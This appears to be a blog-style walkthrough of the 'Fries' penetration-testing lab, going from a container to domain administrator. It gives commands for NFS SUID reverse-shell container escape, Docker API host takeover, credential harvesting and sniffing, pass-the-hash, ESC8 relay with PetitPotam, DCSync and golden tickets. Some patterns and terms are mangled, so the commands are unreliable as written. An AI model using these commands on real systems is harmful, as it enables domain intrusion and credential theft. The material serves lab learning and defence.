Listen to this Post
Introduction:
In modern corporate networks, the coexistence of Linux servers and Windows Active Directory environments creates complex hybrid attack surfaces. The “Fries” machine, a hard‑rated penetration testing lab, serves as a realistic simulation of such an environment, demanding advanced techniques like container escape, network pivoting, and Active Directory Certificate Services exploitation to achieve full domain compromise. This article deconstructs the technical journey from an isolated container to domain administrator.
Learning Objectives:
- Execute a multi‑stage network pivot through four distinct network segments.
- Abuse Docker TLS certificates and NFS misconfigurations for privilege escalation on Linux hosts.
- Leverage Active Directory Certificate Services (AD CS) for lateral movement and domain privilege escalation.
You Should Know:
1. Initial Foothold and Container Escape via NFS
The initial attack vector often involves escaping an isolated container. A common misconfiguration is an exposed NFS share mounted within the container, which can be exploited to gain access to the host system.
Step‑by‑step guide:
- Enumerate Network Shares: From within the compromised container, scan the network for NFS services.
`nmap -sV –script=nfs-ls,nfs-showmount `
- Identify and Mount the Share: Discover an exportable share and mount it to your local Kali machine or the container if it has the necessary privileges.
`sudo mkdir /mnt/nfs_share`
`sudo mount -t nfs :/path/to/share /mnt/nfs_share`
- Exploit for Root Access: If the share is configured with
no_root_squash, you can create a binary with a SUID bit set on the share and execute it from the container to gain root privileges on the host.
On your attacker machine, compile a simple reverse shell and place it on the share: `gcc -o shell shell.c`
Set the SUID bit via the mounted share: `sudo chmod +s /mnt/nfs_share/shell`
Execute the binary from the container to receive a root shell on the NFS host, effectively escaping the container.
2. Linux Privilege Escalation via Docker TLS Certificates
After escaping the container and landing on the host, the next step is to escalate privileges. Misconfigured Docker TLS certificates can be a goldmine.
Step‑by‑step guide:
- Locate Docker Certificates: Search the filesystem for Docker TLS certificates (often `.pem` files).
`find / -name “.pem” 2>/dev/null`
- Verify Certificate Authority: If you find
ca.pem,cert.pem, andkey.pem, you can authenticate to the Docker API as root. - Abuse Docker API: Use the `docker` command with the certificates to connect to the host’s Docker daemon and run a privileged container, mounting the host’s filesystem.
`docker –tlsverify –tlscacert=ca.pem –tlscert=cert.pem –tlskey=key.pem -H=:2376 run -it -v /:/host ubuntu bash`
4. Gain Root on Host: Access the `chroot` environment on the host’s filesystem to gain full root control.
`chroot /host bash`
- Lateral Movement: Pivoting from Linux to Windows Domain
In a hybrid environment, Linux hosts are often domain-joined. Compromising a Linux host can reveal credentials or configuration files that allow pivoting to the Windows domain.
Step‑by‑step guide:
- Harvest Credentials: Search for Kerberos keytabs, SSH keys, or configuration files containing service account passwords.
`find / -name “.keytab” -o -name “.kdbx” -o -name “config.” 2>/dev/null`
2. Intercept Network Traffic: Use tools like `tcpdump` on the Linux host to sniff for SMB, HTTP, or LDAP traffic that may contain domain credentials.
`tcpdump -i any -A -s 0 port 445 or port 88 or port 389`
3. Use Captured Credentials: Pass the captured hashes or passwords to tools like `crackmapexec` or `evil-winrm` to gain initial access to a Windows machine within the domain.
`crackmapexec smb -u ‘username’ -H ‘‘`
`evil-winrm -i -u ‘username’ -H ‘‘`
4. Active Directory Compromise via AD CS (ESC8)
Once inside the Windows domain, Active Directory Certificate Services (AD CS) presents a potent attack vector, particularly the ESC8 vulnerability which allows relaying NTLM authentication to the web enrollment interface.
Step‑by‑step guide:
- Enumerate AD CS: Use tools like `Certify` to discover Certificate Authorities and their templates.
`Certify.exe find /vulnerable`
- Exploit NTLM Relay (ESC8): If a CA has web enrollment enabled and supports NTLM authentication, you can coerce authentication from a machine account (e.g., via PetitPotam) and relay it to the AD CS web interface to request a certificate for a Domain Admin.
Set up Relay: Configure `ntlmrelayx.py` to relay to the AD CS web enrollment service.
`ntlmrelayx.py -t http:///certsrv/certfnsh.asp -smb2support –adcs –template DomainController`
Coerce Authentication: Use a tool like `PetitPotam.py` to force the Domain Controller to authenticate to your relay.
`python3 PetitPotam.py `
- Request Domain Admin Certificate: The relay will obtain a certificate for the DC’s machine account. Convert this certificate to a usable PKCS12 format and then to a Kerberos ticket-granting-ticket (TGT).
`Rubeus.exe asktgt /user:DC$ /certificate:MII… /ptt`
5. Final Domain Privilege Escalation and Persistence
With a Domain Admin’s TGT injected into your session, you have full control over the domain.
Step‑by‑step guide:
- Dump Domain Secrets: Use the newly acquired privileges with `secretsdump.py` to dump all domain password hashes.
`secretsdump.py -k /DC$@ -just-dc`
- Golden Ticket Attack: For persistence, create a Golden Ticket using the Krbtgt account hash, allowing you to generate TGTs for any user at any time.
`mimikatz kerberos::golden /user:Administrator /domain:/sid: /krbtgt: /id:500 /ptt`
3. Validate Access: Access any resource in the domain, such as the Domain Controller’s C$ share, to confirm total control.
`dir \\\C$`
What Undercode Say:
- The hybrid Linux/Windows network is the new normal, and penetration testers must be fluent in exploiting the trust bridges between these disparate systems.
- The attack path from a low-privileged container to domain admin demonstrates that a single misconfiguration (like NFS or Docker TLS) can cascade into a full domain compromise.
- AD CS has become a primary attack frontier, with vulnerabilities like ESC8 providing a reliable path for privilege escalation that is often overlooked in traditional security hardening.
This engagement underscores a critical evolution in offensive security. The perimeter is no longer just the firewall; it’s every endpoint, container, and network service. The “Fries” machine is a microcosm of modern corporate infrastructure, where defense requires a holistic, layered approach. Patching Windows is not enough if a Linux host with weak Docker configurations can be used as a launchpad. Similarly, robust AD policies are futile if certificate services are left vulnerable. The key lesson for blue teams is to conduct regular attack path mapping exercises that traverse both Linux and Windows assets, identifying and severing these trust chains before adversaries can exploit them.
Prediction:
The techniques demonstrated in the Fries machine, particularly the sophisticated pivoting and AD CS exploitation, will become standard in real-world ransomware and state-sponsored attacks. As organizations continue to adopt hybrid architectures, we will see a rise in attacks that specifically target the trust relationships between non-Windows systems and the core Active Directory. Defenders will be forced to adopt more advanced monitoring for certificate-based attacks and implement zero-trust principles that segment Linux and Windows workloads more effectively, moving beyond the traditional “hard shell, soft center” network model.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Camilo Guerrero – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
